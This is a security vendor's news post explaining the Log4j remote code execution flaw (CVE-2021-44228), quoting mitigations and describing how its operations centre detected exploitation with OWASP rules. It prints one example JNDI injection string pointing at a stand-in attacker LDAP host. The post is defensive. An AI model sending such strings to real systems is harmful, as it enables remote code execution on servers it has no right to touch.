HOME // News

Detection and Prevention of Log4j RCE Vulnerability

Log4j is a popular Java library developed and maintained by the Apache foundation. The library is widely adopted and used in many commercial and open-source software products as a logging framework for Java.

The vulnerability (CVE-2021-44228 ¹) is critical, as it can be exploited from remote by an unauthenticated adversary to executed arbitrary code (remote code execution – RCE). The criticality of the vulnerability has a score of 10 (out of 10) in the common vulnerability scoring system (CVSS) which outlines how severe the vulnerability is.

The vulnerability results from how log messages are being handled by the log4j processor. If an attacker sends a specially crafted message (it contains a string like ${jndi:ldap://rogueldapserver.com/a}), this may result in loading an external code class or message lookup and the execution of that code, leading to a situation that is known as Remote Code Execution (RCE). [GovCERT.ch]

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.

In previous releases (>2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). [MITRE]

Mithril Prevention and Detection

On Friday morning, Mithril Security Operation Center received reports about a critical vulnerability in a popular Java library called “Log4j”. At the time of receiving these reports, the vulnerability apparently has been exploited by threat actors “in the wild” and no patch was available to fix the vulnerability (0-day exploit). We saw some payloads blocked by the OWASP CRS rule 932130 “Remote Command Execution: Unix Shell Expression Found” but only when the JNDI injection was in the querystring part of the HTTP request.

Thanks to the OWASP Core Rule Set team, we were able to integrate additional rules to our rule set to detect JNDI injection in request headers too that was really useful to us in order to detect and mitigate all exploit in the wild.